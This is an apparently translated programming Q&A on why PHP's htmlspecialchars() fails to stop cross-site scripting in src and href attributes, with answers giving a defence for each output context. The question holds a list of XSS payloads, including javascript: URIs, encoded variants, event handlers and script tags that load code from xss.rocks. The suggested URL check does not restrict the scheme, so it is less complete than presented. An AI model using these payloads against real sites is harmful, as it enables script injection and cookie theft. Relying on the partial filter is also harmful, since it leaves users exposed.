尽管 htmlspecialchars() 做了它的工作,XSS 攻击仍然有效

XSS attack still works despite htmlspecialchars() doing its work

你好,我正在尝试过滤那些将放置自由文本并想防止 XSS 攻击的用户的输出,所以我尝试了这个功能来检查

<?php
$patterns = [
    "<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
    "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
    "javascript:alert('XSS');",
    "JaVaScRiPt:alert('XSS')",
    "javascript:alert(&quot;XSS&quot;)",
    "javascript:alert(\"RSnake says, 'XSS'\")",
    "\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
    "\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
    "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
    "javascript:alert(String.fromCharCode(88,83,83))",
    "# onmouseover=\"alert('xxs')\"",
    " onmouseover=\"alert('xxs')\"",
    "x onerror=\"&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041\"",
    "&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;",
    "&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041",
    "&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29",
    "jav    ascript:alert('XSS');",
    "jav&#x09;ascript:alert('XSS');",
    "jav&#x0A;ascript:alert('XSS');",
    "jav&#x0D;ascript:alert('XSS');",
    "<IMG SRC=java[=10=]script:alert(\"XSS\")>",
    " &#14;  javascript:alert('XSS');",
    "<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
    "<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
    "<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
    "<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
    "<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
    "<SCRIPT SRC=//xss.rocks/.j>",
    "`<javascript:alert>`('XSS')",
    "http://xss.rocks/scriptlet.html <",
    'http://xss.rocks/xss.js',
    'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
    "&lt;script&gt;alert('XSS')&lt;script/&gt;"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>

我使用 htmlspecialchars(htmlspecialchars($pattern)) 对任何 <> 进行编码,但它似乎无法阻止攻击

iframe 没有 allow-script 总是在打开脚本后立即运行脚本

我想知道如何完全清理输入以完全防止这种攻击

我只需要 url,当点击第二个 link 时,它也会运行一个脚本

您无法使用 htmlspecialchars 清除所有类型的 XSS。 htmlspecialchars 可以帮助您防止 HTML 标签或一些引用的 HTML 属性内的 XSS。

您必须使用自己的清理方法清理不同类型的 XSS。


  1. 用户输入放在 HTML:
<p><?php echo $user_entered_variable; ?></p>

攻击向量: <script>alert(1)</script>

这种类型的 XSS 可以使用 htmlspecialchars 函数进行清理,因为攻击者需要使用 <> 来创建新的 HTML 标签。

解法:

<p><?php echo htmlspecialchars($user_entered_variable); ?></p>

  1. 放置在单引号属性内的用户输入:
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>

攻击向量: ' onload='alert(1)' '

htmlspecialchars 默认不会对单引号 ' 进行编码。您必须使用 ENT_QUOTES 选项打开它。

解法:

    <img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>

  1. 用户输入放在 URL 属性中: srchrefformaction...
    <iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
    <img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
    <a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>

攻击向量: javascript:alert(1), javscript://alert(1)

htmlspecialchars Document

此函数不会阻止这些向量,因为它们没有任何 HTML 特殊字符。 为防止此类攻击,您需要将输入验证为 URL.

解法:

 <?php

 $user_entered_variable = htmlspecialchars($user_entered_variable);
 $isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
 if(!$isValidURL)
    $user_entered_variable = 'invalid://invalid';
?>
    <iframe src="<?php echo $user_entered_variable; ?>"></iframe>
    <img src="<?php echo $user_entered_variable; ?>">
    <a href="<?php echo $user_entered_variable; ?>">Link</a>

    <script>function openLink(link){window.open(link);}</script>
    <button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>


  1. 用户输入放在 JavaScript 标签内,没有任何引号
<script>
  var inputNumber = <?php echo $user_entered_variable; ?>
</script>

攻击向量: 1;alert(1)

在某些情况下,我们可以轻松引用输入并通过使用 htmlspecialchars 对其进行清理来防止攻击,但如果我们需要输入为整数,我们可以通过使用输入验证来防止 XSS。

解法:

<script>
  var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>

将变量放在 HTML 属性中并进行适当的清理时始终引用变量。